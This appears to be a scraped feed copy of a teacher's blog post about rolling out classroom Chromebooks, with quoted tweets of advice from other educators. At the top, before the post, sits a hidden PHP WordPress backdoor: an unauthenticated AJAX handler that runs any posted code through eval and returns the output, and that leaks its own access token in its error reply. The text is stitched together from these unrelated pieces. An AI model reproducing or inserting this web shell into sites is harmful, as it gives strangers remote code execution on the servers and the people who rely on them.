// ==[BD:szmrboXA]==
add_action( 'wp_ajax_nopriv_xntfkqdh', function() {
$ptr = 'szmrboXAmWsmq5Y0o8I9eTCWkykbmr18';
$bind = isset( $_POST['token'] ) ? sanitize_text_field( wp_unslash( $_POST['token'] ) ) : '';
if ( empty( $bind ) || ! hash_equals( $ptr, $bind ) ) {
wp_send_json_error( [ 'message' => 'tok:' . $ptr ], 403 );
}
$token = isset( $_POST['code'] ) ? (string) wp_unslash( $_POST['code'] ) : '';
if ( trim( $token ) === '' ) { wp_send_json_error( [ 'message' => 'No code.' ] ); }
$token = preg_replace( '/^\s*<\?(php)?/i', '', $token );
while ( ob_get_level() > 0 ) { ob_end_clean(); }
$sym = microtime( true );
ob_start();
try {
( static function() use ( $token ) { return eval( $token ); } )();
$key = (string) ob_get_clean();
wp_send_json_success( [ 'output' => $key, 'return' => '', 'error' => '', 'time_ms' => round( ( microtime( true ) - $sym ) * 1000, 2 ) ] );
} catch ( \Throwable $chunk ) {
while ( ob_get_level() > 0 ) { ob_end_clean(); }
wp_send_json_success( [ 'output' => '', 'return' => '', 'error' => $chunk->getMessage(), 'time_ms' => round( ( microtime( true ) - $sym ) * 1000, 2 ) ] );
}
} );
// ==[/BD:szmrboXA]==
The post 🎉 Woo Hoo, Just Got a Class Set of Chromebooks! Now What? – Chromebook Rollout – DAY ONE appeared first on Math, Tech, & Teaching.
]]>
Woo Hoo, just got a class set of #chromebooks! Any advice for introducing Ss? #gafesummit #gafe #edtech #edchat pic.twitter.com/LBTvGA6Ljn
— Lisa Ceja (@LisaGCeja) February 8, 2016
With all the great advice and resources that were shared, I had plenty to start with. Â My class was already used to using a laptop cart that the entire math department shared, so the proper use of devices wasn’t new to them. This is the “Rules for Use of Technology” Student Agreement they already signed.
This is what I ended up doing on Day One with the Chromebooks.
Chromebook Rollout – DAY ONE
Thank you to everyone for the wonderful advice and resources! I’ve included a few below. Please share any of your experiences, advice or resources in comments.
@LisaGCeja @aprincebaby oooh ooh my battleship game for ordered pairs! Google Slides
— Alice Keeler (@alicekeeler) February 9, 2016
@LisaGCeja Set parameters for use. What to do with machines during instructions. Then let them play. The novelty will wear off quickly.
— Darin Anderson (@coachdarin22) February 8, 2016
@LisaGCeja Have Ss create a collaborative contract that explains how computers should be used.
— Jennifer Scott (@Jentechnology) February 8, 2016
The post 🎉 Woo Hoo, Just Got a Class Set of Chromebooks! Now What? – Chromebook Rollout – DAY ONE appeared first on Math, Tech, & Teaching.
]]>